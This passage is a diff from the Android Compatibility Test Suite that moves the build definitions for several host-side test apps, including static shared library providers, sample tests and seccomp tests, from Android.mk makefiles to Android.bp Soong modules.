diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.mk
deleted file mode 100644
index 13cb9bd..0000000
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-#
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_PACKAGE_NAME := CtsStaticSharedLibProviderApp6
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_AAPT_FLAGS := --shared-lib
-
-LOCAL_EXPORT_PACKAGE_RESOURCES := true
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/Android.bp
new file mode 100644
index 0000000..253aa34
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/Android.bp
@@ -0,0 +1,35 @@
+//
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsStaticSharedLibProviderApp7",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    certificate: ":cts-keyset-test-b",
+    additional_certificates: [":cts-keyset-test-a"],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    optimize: {
+        enabled: false,
+    },
+    aaptflags: ["--shared-lib"],
+    export_package_resources: true,
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/Android.mk
deleted file mode 100644
index 7788e25..0000000
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-#
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsStaticSharedLibProviderApp7
-LOCAL_SDK_VERSION := current
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
-
-LOCAL_ADDITIONAL_CERTIFICATES := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_AAPT_FLAGS := --shared-lib
-
-LOCAL_EXPORT_PACKAGE_RESOURCES := true
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.bp
new file mode 100644
index 0000000..0812dc0
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.bp
@@ -0,0 +1,34 @@
+//
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsStaticSharedLibProviderRecursive",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    certificate: ":cts-keyset-test-b",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    optimize: {
+        enabled: false,
+    },
+    aaptflags: ["--shared-lib"],
+    export_package_resources: true,
+    sdk_version: "current",
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.mk
deleted file mode 100644
index 0631904..0000000
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-#
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsStaticSharedLibProviderRecursive
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_AAPT_FLAGS := --shared-lib
-
-LOCAL_EXPORT_PACKAGE_RESOURCES := true
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.bp b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.bp
new file mode 100644
index 0000000..578c338
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.bp
@@ -0,0 +1,48 @@
+//
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsStaticSharedNativeLibConsumer",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    static_libs: ["androidx.test.rules"],
+    jni_libs: ["libstaticsharednativelibconsumerjni"],
+    sdk_version: "current",
+    compile_multilib: "both",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+}
+
+cc_test_library {
+    name: "libstaticsharednativelibconsumerjni",
+    gtest: false,
+    cflags: [
+        "-Wall",
+        "-Wextra",
+        "-Werror",
+    ],
+    srcs: ["**/*.cpp"],
+    shared_libs: [
+        "liblog",
+        "libstaticsharednativelibprovider",
+    ],
+    sdk_version: "current",
+    stl: "none",
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.mk b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.mk
deleted file mode 100644
index 9564193..0000000
--- a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.mk
+++ /dev/null
@@ -1,66 +0,0 @@
-#
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules
-
-LOCAL_JNI_SHARED_LIBRARIES := libstaticsharednativelibconsumerjni
-
-LOCAL_PACKAGE_NAME := CtsStaticSharedNativeLibConsumer
-LOCAL_SDK_VERSION := current
-
-LOCAL_MULTILIB := both
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-#########################################################################
-# Build JNI Shared Library
-#########################################################################
-
-LOCAL_PATH:= $(LOCAL_PATH)/jni
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_CFLAGS := -Wall -Wextra -Werror
-
-LOCAL_SRC_FILES := $(call all-cpp-files-under)
-
-LOCAL_SHARED_LIBRARIES := liblog \
-    libstaticsharednativelibprovider
-
-LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := none
-
-LOCAL_C_INCLUDES += \
-    $(JNI_H_INCLUDE) \
-    $(LOCAL_PATH)/../CtsStaticSharedNativeLibProvider/native/version.h
-
-LOCAL_MODULE := libstaticsharednativelibconsumerjni
-
-include $(BUILD_SHARED_LIBRARY)
-
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.bp b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.bp
new file mode 100644
index 0000000..c76e6d8
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.bp
@@ -0,0 +1,50 @@
+//
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsStaticSharedNativeLibProvider",
+    defaults: ["cts_support_defaults"],
+    jni_libs: ["libstaticsharednativelibprovider"],
+    sdk_version: "current",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    optimize: {
+        enabled: false,
+    },
+    aaptflags: ["--shared-lib"],
+    export_package_resources: true,
+    compile_multilib: "both",
+    certificate: ":cts-keyset-test-b",
+}
+
+cc_test_library {
+    name: "libstaticsharednativelibprovider",
+    gtest: false,
+    cflags: [
+        "-Wall",
+        "-Wextra",
+        "-Werror",
+    ],
+    srcs: ["**/*.cpp"],
+    sdk_version: "current",
+    local_include_dirs: ["native"],
+    export_include_dirs: ["native"],
+    stl: "none",
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.mk b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.mk
deleted file mode 100644
index 655adea..0000000
--- a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.mk
+++ /dev/null
@@ -1,64 +0,0 @@
-#
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_JNI_SHARED_LIBRARIES := libstaticsharednativelibprovider
-
-LOCAL_PACKAGE_NAME := CtsStaticSharedNativeLibProvider
-LOCAL_SDK_VERSION := current
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_AAPT_FLAGS := --shared-lib
-
-LOCAL_EXPORT_PACKAGE_RESOURCES := true
-
-LOCAL_MULTILIB := both
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-#########################################################################
-# Build Shared Library
-#########################################################################
-
-LOCAL_PATH:= $(LOCAL_PATH)/native
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_CFLAGS := -Wall -Wextra -Werror
-
-LOCAL_SRC_FILES := $(call all-cpp-files-under)
-
-LOCAL_MODULE := libstaticsharednativelibprovider
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_C_INCLUDES := $(LOCAL_PATH)/native/version.h
-
-LOCAL_NDK_STL_VARIANT := none
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.bp b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.bp
new file mode 100644
index 0000000..005553b
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.bp
@@ -0,0 +1,35 @@
+//
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsStaticSharedNativeLibProvider1",
+    defaults: ["cts_support_defaults"],
+    jni_libs: ["libstaticsharednativelibprovider"],
+    sdk_version: "current",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    optimize: {
+        enabled: false,
+    },
+    aaptflags: ["--shared-lib"],
+    export_package_resources: true,
+    compile_multilib: "both",
+    certificate: ":cts-keyset-test-b",
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.mk b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.mk
deleted file mode 100644
index b26939a..0000000
--- a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-#
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_JNI_SHARED_LIBRARIES := libstaticsharednativelibprovider
-
-LOCAL_PACKAGE_NAME := CtsStaticSharedNativeLibProvider1
-LOCAL_SDK_VERSION := current
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_AAPT_FLAGS := --shared-lib
-
-LOCAL_EXPORT_PACKAGE_RESOURCES := true
-
-LOCAL_MULTILIB := both
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/sample/Android.bp b/hostsidetests/sample/Android.bp
new file mode 100644
index 0000000..489bedc
--- /dev/null
+++ b/hostsidetests/sample/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsSampleHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+    data: [
+        ":CtsSampleDeviceApp",
+        ":CtsSampleDeviceApp2",
+    ],
+}
diff --git a/hostsidetests/sample/Android.mk b/hostsidetests/sample/Android.mk
deleted file mode 100644
index 1b9bd44..0000000
--- a/hostsidetests/sample/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE_TAGS := tests
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_MODULE := CtsSampleHostTestCases
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/sample/app/Android.bp b/hostsidetests/sample/app/Android.bp
new file mode 100644
index 0000000..2597717
--- /dev/null
+++ b/hostsidetests/sample/app/Android.bp
@@ -0,0 +1,20 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsSampleDeviceApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/sample/app/Android.mk b/hostsidetests/sample/app/Android.mk
deleted file mode 100644
index bc271b6..0000000
--- a/hostsidetests/sample/app/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PACKAGE_NAME := CtsSampleDeviceApp
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/sample/app2/Android.bp b/hostsidetests/sample/app2/Android.bp
new file mode 100644
index 0000000..1fc25ed
--- /dev/null
+++ b/hostsidetests/sample/app2/Android.bp
@@ -0,0 +1,21 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsSampleDeviceApp2",
+    defaults: ["cts_defaults"],
+    static_libs: ["androidx.test.rules"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/sample/app2/Android.mk b/hostsidetests/sample/app2/Android.mk
deleted file mode 100644
index e050412..0000000
--- a/hostsidetests/sample/app2/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PACKAGE_NAME := CtsSampleDeviceApp2
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/seccomp/Android.bp b/hostsidetests/seccomp/Android.bp
new file mode 100644
index 0000000..cb61ad4
--- /dev/null
+++ b/hostsidetests/seccomp/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsSeccompHostTestCases",
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+}
diff --git a/hostsidetests/seccomp/Android.mk b/hostsidetests/seccomp/Android.mk
deleted file mode 100644
index 2c1c077..0000000
--- a/hostsidetests/seccomp/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE_TAGS := tests
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MODULE := CtsSeccompHostTestCases
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/seccomp/app/Android.bp b/hostsidetests/seccomp/app/Android.bp
new file mode 100644
index 0000000..da78d53
--- /dev/null
+++ b/hostsidetests/seccomp/app/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsSeccompDeviceApp",
+    compile_multilib: "both",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+    ],
+    jni_libs: [
+        "libctsseccomp_jni",
+        "libcts_jni",
+        "libnativehelper_compat_libc++",
+    ],
+    srcs: ["src/**/*.java"],
+    asset_dirs: ["assets"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/hostsidetests/seccomp/app/Android.mk b/hostsidetests/seccomp/app/Android.mk
deleted file mode 100644
index 36dd417..0000000
--- a/hostsidetests/seccomp/app/Android.mk
+++ /dev/null
@@ -1,54 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-          androidx.test.rules \
-          compatibility-device-util-axt \
-
-LOCAL_JNI_SHARED_LIBRARIES := \
-          libctsseccomp_jni \
-          libcts_jni \
-          libnativehelper_compat_libc++ \
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_ASSET_DIR := $(LOCAL_PATH)/assets
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsSeccompDeviceApp
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/seccomp/app/jni/Android.bp b/hostsidetests/seccomp/app/jni/Android.bp
new file mode 100644
index 0000000..3dc4f1c
--- /dev/null
+++ b/hostsidetests/seccomp/app/jni/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
